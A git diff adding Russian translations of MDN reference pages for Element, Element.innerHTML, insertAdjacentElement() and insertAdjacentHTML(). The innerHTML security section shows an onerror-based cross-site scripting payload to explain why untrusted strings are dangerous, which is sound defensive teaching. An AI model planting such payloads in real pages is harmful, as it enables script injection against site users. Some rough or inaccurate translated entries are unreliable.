+ <dd>Возвращает обработчик событий для событий типа {{event("lostpointercapture")}}.</dd>
+</dl>
+
+<h4 id="Устаревшие_обработчики_событий">Устаревшие обработчики событий</h4>
+
+<dl>
+ <dt>{{ domxref("Element.onwheel") }} {{ non-standard_inline() }}</dt>
+ <dd>Возвращает код обработчика для события <code>wheel</code>.<br>
+ <strong>Сейчас реализован в {{domxref("GlobalEventHandlers.onwheel", "GlobalEventHandlers")}}.</strong></dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+
+<p><em>Наследует методы от своих родителей {{domxref("Node")}}, и своего собственного родителя {{domxref("EventTarget")}}<em>, и реализует методы {{domxref("ParentNode")}}, {{domxref("ChildNode")}}<em>, {{domxref("NonDocumentTypeChildNode")}}, </em></em>и {{domxref("Animatable")}}.</em></p>
+
+<dl>
+ <dt>{{ domxref("EventTarget.addEventListener()") }}</dt>
+ <dd>Регистрирует обработчик событий для опрделенного типа событий в элементе.</dd>
+ <dt>{{ domxref("Element.closest()")}} {{experimental_inline}}</dt>
+ <dd>Возращает {{domxref("Element")}}, потомка этого элемента (или сам этот элемент), который является ближайшим предком элементов, выбраных селекторами, указанными в параметре.</dd>
+ <dt>{{ domxref("Element.createShadowRoot()")}} {{experimental_inline}}</dt>
+ <dd>…</dd>
+ <dt>{{ domxref("EventTarget.dispatchEvent()") }}</dt>
+ <dd>Отправляет событие для этого узла в DOM и возвращает {{jsxref("Boolean")}}, который указывает, что по крайней мере один обработчик не отменил его.</dd>
+ <dt>{{domxref("Element.find()")}}{{experimental_inline}}</dt>
+ <dd>...</dd>
+ <dt>{{domxref("Element.findAll()")}}{{experimental_inline}}</dt>
+ <dd>...</dd>
+ <dt>{{domxref("Animatable.getAnimationPlayers()")}} {{experimental_inline}}</dt>
+ <dd>…</dd>
+ <dt>{{ domxref("Element.getAttribute()") }}</dt>
+ <dd>Извлекает значение именованного атрибута из текущего узла и возвращает его в виде{{jsxref("Object")}}.</dd>
+ <dt>{{ domxref("Element.getAttributeNS()") }}</dt>
+ <dd>Извлекает значение атрибута с указанным именем и пространством имен из текущего узла и возвращает его как {{jsxref("Object")}}.</dd>
+ <dt>{{ domxref("Element.getAttributeNode()") }} {{obsolete_inline}}</dt>
+ <dd>Извлекает представление узла именованного атрибута из текущего узла и возвращает его в виде {{ domxref("Attr") }}.</dd>
+ <dt>{{ domxref("Element.getAttributeNodeNS()") }} {{obsolete_inline}}</dt>
+ <dd>Извлекает представление узла атрибута с указанным именем и пространством имен из текущего узла и возвращает его в виде {{ domxref("Attr") }}.</dd>
+ <dt>{{ domxref("Element.getBoundingClientRect()") }}<code> </code>{{experimental_inline}}</dt>
+ <dd>...</dd>
+ <dt>{{ domxref("Element.getClientRects()") }} {{experimental_inline}} TYPE of returnvalue????</dt>
+ <dd>Returns a collection of rectangles that indicate the bounding rectangles for each line of text in a client.</dd>
+ <dt>{{domxref("Element.getDestinationInsertionPoints()")}} {{experimental_inline}}</dt>
+ <dd>…</dd>
+ <dt>{{ domxref("Element.getElementsByClassName()") }}</dt>
+ <dd>Возвращает коллекцию {{ domxref ("HTMLCollection")}}, которая содержит все элементы, у которых название класса совпадает с тем, что заданно в параметрах функции.</dd>
+ <dt>{{ domxref("Element.getElementsByTagName()") }}</dt>
+ <dd>Возвращает коллекцию {{ domxref ("HTMLCollection")}}, которая содержит все элементы, у которых название тега совпадает с тем, что заданно в параметрах функции.</dd>
+ <dt>{{ domxref("Element.getElementsByTagNameNS()") }}</dt>
+ <dd>Возвращает коллекцию {{ domxref ("HTMLCollection")}}, которая содержит все элементы, у которых название тега и пространства имён совпадает с тем, что заданно в параметрах функции.</dd>
+ <dt>{{ domxref("Element.hasAttribute()") }}</dt>
+ <dd>Вовзращает {{jsxref("Boolean")}}, указывающее, имеет элемент определенный атрибут, или нет.</dd>
+ <dt>{{ domxref("Element.hasAttributeNS()") }}</dt>
+ <dd>Возвращает {{jsxref("Boolean")}}, указывающий, имеет элемент определенный атрибут в определенном пространстве имен, или нет.</dd>
+ <dt>{{ domxref("Element.insertAdjacentHTML") }} {{experimental_inline}}</dt>
+ <dd>Анализирует текст как HTML или XML и вставляет полученные узлы в указанную позицию дерева элементов.</dd>
+ <dt>{{ domxref("Element.matches()") }}<code> </code>{{experimental_inline}}</dt>
+ <dd>Возвращает {{jsxref ("Boolean")}}, указывающий, будет ли элемент выбран указанной строкой селектора.</dd>
+ <dt>{{ domxref("Element.querySelector()") }}</dt>
+ <dd>Возвращает первый {{DOMxRef ("Node")}}, который соответствует указанной строке селектора элемента.</dd>
+ <dt>{{ domxref("Element.querySelectorAll") }}</dt>
+ <dd>Возвращает список {{DOMxRef ("NodeList")}} узлов, которые соответствуют указанной строке селектора элемента.</dd>
+ <dt>{{ domxref("Element.releasePointerCapture")}} {{experimental_inline}}</dt>
+ <dd>Позволяет понять, имеет ли элемент с указанным ID  захват указателя для указателя</dd>
+ <dt>{{domxref("ChildNode.remove()")}}</dt>
+ <dd>Удаляет элемент из списка дочерних элементов родительского элемента.</dd>
+ <dt>{{ domxref("Element.removeAttribute()") }}</dt>
+ <dd>Удаляет именованный атрибут из текущего узла.</dd>
+ <dt>{{ domxref("Element.removeAttributeNS()") }}</dt>
+ <dd>Удаляет атрибут с указанным именем и пространством имен, из текущего узла.</dd>
+ <dt>{{ domxref("Element.removeAttributeNode()") }} {{obsolete_inline}}</dt>
+ <dd>Удаляет представление узла именованного атрибута из текущего узла.</dd>
+ <dt>{{ domxref("EventTarget.removeEventListener()") }}</dt>
+ <dd>Удаляет прослушиватель событий из элемента.</dd>
+ <dt>{{ domxref("Element.requestFullscreen()") }} {{experimental_inline}}</dt>
+ <dd>Асинхронно запрашивает браузер, чтобы сделать элемент полноэкранным.</dd>
+ <dt>{{ domxref("Element.requestPointerLock()")}} {{experimental_inline}}</dt>
+ <dd>Позволяет асинхронно запрашивать блокировку указателя для данного элемента.</dd>
+</dl>
+
+<dl>
+ <dt>{{ domxref("Element.scrollIntoView()") }} {{experimental_inline}}</dt>
+ <dd>Прокручивает страницу до тех пор, пока элемент не попадет в представление.</dd>
+ <dt>{{ domxref("Element.setAttribute()") }}</dt>
+ <dd>Устанавливает значение именованного атрибута из текущей узла.</dd>
+ <dt>{{ domxref("Element.setAttributeNS()") }}</dt>
+ <dd>Устанавливает значение атрибута с опрделенным именем и пространством имен из текущей узла.</dd>
+ <dt>{{ domxref("Element.setAttributeNode()") }} {{obsolete_inline}}</dt>
+ <dd>Задает представление узла именованного атрибута из текущего узла.</dd>
+ <dt>{{ domxref("Element.setAttributeNodeNS()") }} {{obsolete_inline}}</dt>
+ <dd>Установите представление узла атрибута с указанным именем и пространством имен из текущего узла.</dd>
+ <dt>{{ domxref("Element.setCapture()") }} {{non-standard_inline}}</dt>
+ <dd>Настройка захвата событий мыши, перенаправление всех событий мыши на этот элемент.</dd>
+ <dt>{{domxref("Element.setPointerCapture()")}}</dt>
+ <dd>Определяет указанный элемент как цель захвата будущих событий указателя.</dd>
+</dl>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("Web Animations", '', '')}}</td>
+   <td>{{Spec2("Web Animations")}}</td>
+   <td>Добавлен метод <code>getAnimationPlayers()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Undo Manager', '', 'Element')}}</td>
+   <td>{{Spec2('Undo Manager')}}</td>
+   <td>Добавлены свойства <code>undoScope</code> и <code>undoManager</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Events', '#extensions-to-the-element-interface', 'Element')}}</td>
+   <td>{{Spec2('Pointer Events')}}</td>
+   <td>Добавлены следующие обработчики событий: <code>ongotpointercapture</code> и <code>onlostpointercapture</code>.<br>
+    Добавлены следующие методы: <code>setPointerCapture()</code> и <code>releasePointerCapture()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 2', '#interface-definitions', 'Element')}}</td>
+   <td>{{Spec2('Selectors API Level 2')}}</td>
+   <td>Добавлены следующие методы:<code> matches()</code> (реализовано как <code>mozMatchesSelector()</code>), <code>find()</code>, <code>findAll()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Selectors API Level 1', '#interface-definitions', 'Element')}}</td>
+   <td>{{Spec2('Selectors API Level 1')}}</td>
+   <td>Добавлены следующиен методы: <code>querySelector()</code> и <code>querySelectorAll()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Lock', 'index.html#element-interface', 'Element')}}</td>
+   <td>{{Spec2('Pointer Lock')}}</td>
+   <td>Добавлен метод <code>requestPointerLock()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fullscreen', '#api', 'Element')}}</td>
+   <td>{{Spec2('Fullscreen')}}</td>
+   <td>Добавлен метод <code>requestFullscreen()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM Parsing', '#extensions-to-the-element-interface', 'Element')}}</td>
+   <td>{{Spec2('DOM Parsing')}}</td>
+   <td>Добавлены следующие свойства: <code>innerHTML</code>, и <code>outerHTML</code>.<br>
+    Добавлен следующий метод: <code>insertAdjacentHTML()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#extensions-to-the-element-interface', 'Element')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>Добавлены следующие свойства: <code>scrollTop</code>, <code>scrollLeft</code>, <code>scrollWidth</code>, <code>scrollHeight</code>, <code>clientTop</code>, <code>clientLeft</code>, <code>clientWidth</code>, и <code>clientHeight</code>.<br>
+    Добавлены следующие методы: <code>getClientRects()</code>, <code>getBoundingClientRect()</code>, и <code>scrollIntoView()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Element Traversal', '#ecmascript-bindings', 'Element')}}</td>
+   <td>{{Spec2('Element Traversal')}}</td>
+   <td>Добавлено наследование интерфейса {{domxref("ElementTraversal")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#interface-element', 'Element')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Удалены следующие методы: <code>closest()</code>, <code>setIdAttribute()</code>, <code>setIdAttributeNS()</code>, и <code>setIdAttributeNode()</code>.<br>
+    Удалено свойство <code>schemaTypeInfo</code>.<br>
+    Измененно возращаемое значение <code>getElementsByTag()</code> и <code>getElementsByTagNS()</code>.<br>
+    Moved <code>hasAttributes()</code> form the <code>Node</code> interface to this one.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Core', 'core.html#ID-745549614', 'Element')}}</td>
+   <td>{{Spec2('DOM3 Core')}}</td>
+   <td>Added the following methods: <code>setIdAttribute()</code>, <code>setIdAttributeNS()</code>, and <code>setIdAttributeNode()</code>. These methods were never implemented and have been removed in later specifications.<br>
+    Added the <code>schemaTypeInfo</code> property. This property was never implemented and has been removed in later specifications.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Core', 'core.html#ID-745549614', 'Element')}}</td>
+   <td>{{Spec2('DOM2 Core')}}</td>
+   <td>Мнтод <code>normalize()</code> был перемещён в {{domxref("Node")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-core.html#ID-745549614', 'Element')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{Compat("api.Element")}}</div>
+
+<div id="compat-desktop"></div>
diff --git a/files/ru/web/api/element/innerhtml/index.html b/files/ru/web/api/element/innerhtml/index.html
new file mode 100644
index 0000000000..60af461354
--- /dev/null
+++ b/files/ru/web/api/element/innerhtml/index.html
@@ -0,0 +1,167 @@
+---
+title: Element.innerHTML
+slug: Web/API/Element/innerHTML
+translation_of: Web/API/Element/innerHTML
+---
+<div>{{APIRef("DOM")}}</div>
+
+<p>Свойство интерфейса {{domxref("Element")}} <strong><code>innerHTML</code></strong> устанавливает или получает HTML или XML разметку дочерних элементов.</p>
+
+<div class="note"><strong>Примечание: </strong>Если узлы {{HTMLElement("div")}}, {{HTMLElement("span")}}, или {{HTMLElement("noembed")}} имеют дочерние текстовые узлы, содержащие символы <code>(&amp;), (&lt;),</code> или <code>(&gt;)</code>, <code>innerHTML</code> вернет эти символы как &amp;amp, &amp;lt и &amp;gt соответсвенно. Используйте {{domxref("Node.textContent")}} для получения правильной копии содержимого этих текстовых узлов. </div>
+
+<p> Чтобы вставить HTML в документ, не меняя содержимое элемента, используйте {{domxref("Element.insertAdjacentHTML", "insertAdjacentHTML()")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js notranslate">const <var>content</var> = <var>element</var>.innerHTML;
+
+<var>element</var>.innerHTML = <var>htmlString</var>;
+</pre>
+
+<h3 id="Value">Value</h3>
+
+<p>Строка {{domxref("DOMString")}}, которая содержит части HTML разметки. Установка значения <code>innerHTML</code> удаляет всё содержимое элемента и заменяет его на узлы, которые были разобраны как HTML, указанными в строке <var>htmlString.</var></p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<dl>
+ <dt><code>SyntaxError</code></dt>
+ <dd>Возникает при попытке установить значение <code>innerHTML</code> строкой, в которой содержится неправильно сформированный HTML.</dd>
+ <dt><code>NoModificationAllowedError</code></dt>
+ <dd>Возникает при попытке вставить HTML в узел, у которого родителем является {{domxref("Document")}}.</dd>
+</dl>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>Это свойство предоставляет простой способ полностью заменить содержимое элемента. Например, все содержимое элемента body может быть удалено:</p>
+
+<pre class="brush: js notranslate">document.body.innerHTML = "";  // Заменяет содержимое тела пустой строкой.</pre>
+
+<p>Свойство innerHTML многих типов элементов, включая {{HTMLElement("body")}} или {{HTMLElement("html")}}, могут быть возвращены или перемещены. Это может так же быть использовано для просмотра кода страницы, которая была изменена динамически:</p>
+
+<pre class="brush: js notranslate">// Скопируйте и вставьте в адресную строку в виде одной строки.
+javascript:"&lt;pre&gt;"+document.documentElement.innerHTML.replace(/&lt;/g,"&amp;lt;") + "&lt;/pre&gt;";
+</pre>
+
+<p>Это свойство было первоначально реализовано веб браузерами, затем описано WHATWG и W3C в HTML5. Старые реализации могут отличаться от новых. Для примера, когда введен текст в поле ввода &lt;input&gt;, IE меняет значение атрибута &lt;input&gt; свойства innerHTML, но браузеры Gecko не делают этого.</p>
+
+<h3 id="Соображения_безопасности">Соображения безопасности</h3>
+
+<p>Не редко можно увидеть использование InnerHTML для вставки текста в веб страницу. Это приводит к рискам безопасности.</p>
+
+<pre class="brush: js notranslate">const name = "John";
+// предполагая, что 'el' является HTML DOM элементом.
+el.innerHTML = name; // безвредный в этом случае
+
+// ...
+
+name = "&lt;script&gt;alert('Я Джон в раздражающем alert!')&lt;/script&gt;";
+el.innerHTML = name; // безвредный в этом случае</pre>
+
+<p>Хотя это может выглядеть как атака {{interwiki("wikipedia", "cross-site scripting")}}, результат безопасный. HTML5 указывает на тег {{HTMLElement("script")}} вставленный через InnerHTM <a href="https://www.w3.org/TR/2008/WD-html5-20080610/dom.html#innerhtml0">должен не выполнится.</a></p>
+
+<p>Однако, есть способы запустить JavaScript без использования элементов {{HTMLElement("script")}}, так что есть риск безопасности всякий раз, когда вы используете innerHTML для набора строк, над которыми у вас нет контроля. Например:</p>
+
+<pre class="brush: js notranslate">const name = "&lt;img src='x' onerror='alert(1)'&gt;";
+el.innerHTML = name; // показывает alert</pre>
+
+<p>По этой причине,  рекомендуется не использовать innerHTML при вставке обычного текста; вместо этого, используйте {{domxref("node.textContent")}}. Это не интерпретирует отправленный контент как HTML, но вместо этого он вставляется как не обработанный текст. </p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Этот пример использует <code>innerHTML</code> для создания механизма логгирования сообщений внутри элемента на странице.</p>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<pre class="brush: js notranslate">function log(msg) {
+  var logElem = document.querySelector(".log");
+
+  var time = new Date();
+  var timeStr = time.toLocaleTimeString();
+  logElem.innerHTML += timeStr + ": " + msg + "&lt;br/&gt;";
+}
+
+log("Регистрация событий мыши внутри этого контейнера...");</pre>
+
+<p>Функция <code>log()</code> создаёт сообщение получая текущее время из объекта {{jsxref("Date")}}, используя {{jsxref("Date.toLocaleTimeString", "toLocaleTimeString()")}}, и соединяя стороку с временной меткой с текстовым сообщением. Затем сообщение добавляется в элемент с классом <code>"log"</code>.</p>
+
+<p>Мы добавляем второй метод, который логгирует информацию о событиях на основе {{domxref("MouseEvent")}} (например, {{event("mousedown")}}, {{event("click")}}, и {{event("mouseenter")}}):</p>
+
+<pre class="brush: js notranslate">function logEvent(event) {
+  var msg = "Event &lt;strong&gt;" + event.type + "&lt;/strong&gt; at &lt;em&gt;" +
+            event.clientX + ", " + event.clientY + "&lt;/em&gt;";
+  log(msg);
+}</pre>
+
+<p>Затем мы используем этот обработчик событий на элементе, который содержит наше логгирование, для каждого события мыши:</p>
+
+<pre class="brush: js notranslate">var boxElem = document.querySelector(".box");
+
+boxElem.addEventListener("mousedown", logEvent);
+boxElem.addEventListener("mouseup", logEvent);
+boxElem.addEventListener("click", logEvent);
+boxElem.addEventListener("mouseenter", logEvent);
+boxElem.addEventListener("mouseleave", logEvent);</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<p>HTML довольно простой для нашего примера.</p>
+
+<pre class="brush: html notranslate">&lt;div class="box"&gt;
+  &lt;div&gt;&lt;strong&gt;Log:&lt;/strong&gt;&lt;/div&gt;
+  &lt;div class="log"&gt;&lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<p>{{HTMLElement("div")}} c классом <code>"box"</code> – просто контейнер для, который даст содержимому пространство вокруг себя. <code>&lt;div&gt;</code> с классом <code>"log"</code> является контейнером для логгирования текста внутри себя.</p>
+
+<h3 id="CSS">CSS</h3>
+
+<p>Для нашего примера используем следующие CSS стили.</p>
+
+<pre class="brush: css notranslate">.box {
+  width: 600px;
+  height: 300px;
+  border: 1px solid black;
+  padding: 2px 4px;
+  overflow-y: scroll;
+  overflow-x: auto;
+}
+
+.log {
+  margin-top: 8px;
+  font-family: monospace;
+}</pre>
+
+<h3 id="Результат">Результат</h3>
+
+<p>В результате мы получаем такое содержимое. Вы можете видеть логи наводя мышь на элемент, кликая на него и так далее.</p>
+
+<p>{{EmbedLiveSample("Example", 640, 350)}}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM Parsing', '#widl-Element-innerHTML', 'Element.innerHTML')}}</td>
+   <td>{{Spec2('DOM Parsing')}}</td>
+   <td>Первоначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a class="external" href="http://innerdom.sourceforge.net/"><code>innerDOM</code></a> - Для тех, кто хочет придерживаться стандартов, вот один набор функций JavaScript, предлагающий сериализовать или разобрать XML так, чтобы установить содержимое элемента, определенное как строка(и) через DOM или получить содержимое элемента, полученное из DOM как строку.</li>
+ <li>{{domxref("Element.insertAdjacentHTML")}} - <span id="result_box" lang="ru"><span>Альтернатива для innerHTML, позволяющая добавлять новый HTML</span></span>.</li>
+ <li><a class="external" href="https://github.com/ndebeiss/jsxmlsaxparser">jssaxparser</a> -  Более надежным (хотя и более тяжелым) решением, чем innerDOM (поддерживает парсинг с пространствами имен, однокавычками атрибутов, секциями CDATA и т.д.), является этот SAX2 парсер при использовании с его обработчиком DOM-контента. (Предлагает строку на DOM; DOM на строку <a href="https://app.assembla.com/spaces/brettz9/bize6mebSr3B31ab7jnrAJ/source/DOMToString">значительно проще</a>).</li>
+ <li>Эффективность соображений: <a class="external" href="http://www.quirksmode.org/dom/innerhtml.html">quirksmode.</a></li>
+</ul>
diff --git a/files/ru/web/api/element/insertadjacentelement/index.html b/files/ru/web/api/element/insertadjacentelement/index.html
new file mode 100644
index 0000000000..a6f23f2aa1
--- /dev/null
+++ b/files/ru/web/api/element/insertadjacentelement/index.html
@@ -0,0 +1,129 @@
+---
+title: Element.insertAdjacentElement()
+slug: Web/API/Element/insertAdjacentElement
+tags:
+  - API
+  - DOM
+  - Element
+  - Gecko
+  - Method
+  - Reference
+  - insertAdjacentElement
+translation_of: Web/API/Element/insertAdjacentElement
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Метод <strong><code>insertAdjacentElement()</code></strong> добавляет переданный элемент в DOM-дерево относительно элемента, вызвавшего метод.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre><em>targetElement</em>.insertAdjacentElement(<em>position</em>, <em>element</em>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>position</dt>
+ <dd>{{domxref("DOMString")}} - определяет позицию добавляемого элемента относительно элемента, вызвавшего метод. Должно соответствовать одному из следующих значений (чувствительно к регистру):
+ <ul>
+  <li><code style="color: red;">'beforebegin'</code>: до самого <code>element</code> (до открывающего тега).</li>
+  <li><code style="color: green;">'afterbegin'</code>: сразу после открывающего тега  <code>element </code>(перед первым потомком).</li>
+  <li><code style="color: blue;">'beforeend'</code>: сразу перед закрывающим тегом <code>element</code> (после последнего потомка).</li>
+  <li><code style="color: magenta;">'afterend'</code>: после <code>element</code> (после закрывающего тега).</li>
+ </ul>
+ </dd>
+ <dt>element</dt>
+ <dd>Элемент, добавляемый в DOM-дерево.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Метод возвращает добавляемый элемент, либо <code>null</code>, если добавление элемента завершилось ошибкой.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Исключение</th>
+   <th scope="col">Пояснение</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>SyntaxError</code></td>
+   <td>Переданное значение <code>position</code> не соответствует ни одному из допустимых.</td>
+  </tr>
+  <tr>
+   <td><code>TypeError</code></td>
+   <td>Передаваемый <code>element</code> не является валидным.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Наглядное_отображение_параметра_position">Наглядное отображение параметра position</h3>
+
+<pre>&lt;!-- <strong><code style="color: red;">beforebegin</code></strong> --&gt;
+<code style="font-weight: bold;">&lt;p&gt;</code>
+&lt;!-- <strong><code style="color: green;">afterbegin</code></strong> --&gt;
+foo
+&lt;!-- <strong><code style="color: blue;">beforeend</code></strong> --&gt;
+<code style="font-weight: bold;">&lt;/p&gt;</code>
+&lt;!-- <strong><code style="color: magenta;">afterend</code></strong> --&gt;</pre>
+
+<div class="note"><strong>Примечаение:</strong> значения <code>beforebegin</code> и <code>afterend</code> работают только если targetElement находится в DOM-дереве и имеет родительский элемент.</div>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<pre class="brush: js">beforeBtn.addEventListener('click', function() {
+  var tempDiv = document.createElement('div');
+  tempDiv.style.backgroundColor = randomColor();
+  if (activeElem) {
+    activeElem.insertAdjacentElement('beforebegin',tempDiv);
+  }
+  setListener(tempDiv);
+});
+
+afterBtn.addEventListener('click', function() {
+  var tempDiv = document.createElement('div');
+  tempDiv.style.backgroundColor = randomColor();
+  if (activeElem) {
+    activeElem.insertAdjacentElement('afterend',tempDiv);
+  }
+  setListener(tempDiv);
+});</pre>
+
+<p>Посмотрите наше демо <a href="https://mdn.github.io/dom-examples/insert-adjacent/insertAdjacentElement.html">insertAdjacentElement.html</a> на Github (так же посмотрите <a href="https://github.com/mdn/dom-examples/blob/master/insert-adjacent/insertAdjacentElement.html">исходный код</a>). В этом демо мы имеем последовательность {{htmlelement("div")}} элементов внутри контейнера. При выборе одного из них можно нажать кнопку <em>Insert before</em> или <em>Insert after</em> и добавить новые div до или после выбранного  элемента используя метод <code>insertAdjacentElement()</code>.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-element-insertadjacentelement', 'insertAdjacentElement()')}}</td>
+   <td>{{ Spec2('DOM WHATWG') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Element.insertAdjacentElement")}}</p>
+
+<div id="compat-desktop"></div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("Element.insertAdjacentHTML()")}}</li>
+ <li>{{domxref("Element.insertAdjacentText()")}}</li>
+ <li>{{domxref("Node.insertBefore()")}}</li>
+ <li>{{domxref("Node.appendChild()")}} (такой же эффект со значением position <code>beforeend</code>)</li>
+</ul>
diff --git a/files/ru/web/api/element/insertadjacenthtml/index.html b/files/ru/web/api/element/insertadjacenthtml/index.html
new file mode 100644
index 0000000000..e2750b8f47
--- /dev/null
+++ b/files/ru/web/api/element/insertadjacenthtml/index.html
@@ -0,0 +1,88 @@
+---
+title: Element.insertAdjacentHTML()
+slug: Web/API/Element/insertAdjacentHTML
+translation_of: Web/API/Element/insertAdjacentHTML
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p><strong><code>insertAdjacentHTML()</code></strong> разбирает указанный текст как HTML или XML и вставляет полученные узлы (nodes) в DOM дерево в указанную позицию. Данная функция не переписывает имеющиеся элементы, что предотвращает дополнительную сериализацию и поэтому работает быстрее, чем манипуляции с {{domxref("Element.innerHTML", "innerHTML")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre><em>targetElement</em>.insertAdjacentHTML(<em>position</em>, <em>text</em>);</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>position</code></dt>
+ <dd>{{domxref("DOMString")}} - определяет позицию добавляемого элемента относительно элемента, вызвавшего метод. Должно соответствовать одному из следующих значений (чувствительно к регистру):
+ <ul>
+  <li><code style="color: red;">'beforebegin'</code>: до самого <code>element</code> (до открывающего тега).</li>
+  <li><code style="color: green;">'afterbegin'</code>: сразу после открывающего тега  <code>element </code>(перед первым потомком).</li>
+  <li><code style="color: blue;">'beforeend'</code>: сразу перед закрывающим тегом <code>element</code> (после последнего потомка).</li>
+  <li><code style="color: magenta;">'afterend'</code>: после <code>element</code> (после закрывающего тега).</li>
+ </ul>
+ </dd>
+ <dt><code>text</code></dt>
+ <dd>Строка, которая будет проанализирована как HTML или XML и вставлена в DOM дерево документа.</dd>
+</dl>
+
+<h3 id="Наглядное_отображение_параметра_position">Наглядное отображение параметра position</h3>
+
+<div class="wp_syntax">
+<div class="code">
+<pre>&lt;!-- <strong><code style="color: red;">beforebegin</code></strong> --&gt;
+<strong><code>&lt;p&gt;</code></strong>
+&lt;!-- <strong><code style="color: green;">afterbegin</code></strong> --&gt;
+foo
+&lt;!-- <strong><code style="color: blue;">beforeend</code></strong> --&gt;
+<strong><code>&lt;/p&gt;</code></strong>
+&lt;!-- <strong><code style="color: magenta;">afterend</code></strong> --&gt;</pre>
+</div>
+</div>
+
+<div class="note"><strong>Примечание:</strong>  позиции <code>beforebegin</code> и <code>afterend</code> работают только если узел имеет родительский элемент.</div>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">// &lt;div id="one"&gt;one&lt;/div&gt;
+var d1 = document.getElementById('one');
+d1.insertAdjacentHTML('afterend', '&lt;div id="two"&gt;two&lt;/div&gt;');
+
+// At this point, the new structure is:
+// &lt;div id="one"&gt;one&lt;/div&gt;&lt;div id="two"&gt;two&lt;/div&gt;</pre>
+
+<h2 id="Примечания">Примечания</h2>
+
+<h3 id="Соображения_безопасности">Соображения безопасности</h3>
+
+<p>Будьте осторожны при использовании вставки HTML на страницу с помощью <code>insertAdjacentHTML()</code>, не используете пользовательский ввод, который не был экранирован.</p>
+
+<p>Не рекомендуется использовать <code>insertAdjacentHTML()</code>, когда требуется ввести простой текст. Используйте для этого свойство {{domxref("Node.textContent")}} или метод {{domxref("Element.insertAdjacentText()")}}. Они не будут интерпретировать текст как HTML, а вставят необработанный текст.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('DOM Parsing', '#widl-Element-insertAdjacentHTML-void-DOMString-position-DOMString-text', 'Element.insertAdjacentHTML()')}}</td>
+   <td>{{ Spec2('DOM Parsing') }}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Element.insertAdjacentHTML")}}</p>
+
+<h2 id="Specification" name="Specification"><span style="font-size: 2.33333rem; letter-spacing: -0.00278rem;">Смотрите также</span></h2>
+
+<p><a class="external" href="http://hacks.mozilla.org/2011/11/insertadjacenthtml-enables-faster-html-snippet-injection/">hacks.mozilla.org guest post by Henri Sivonen including benchmark showing that insertAdjacentHTML can be way faster in some cases.</a></p>
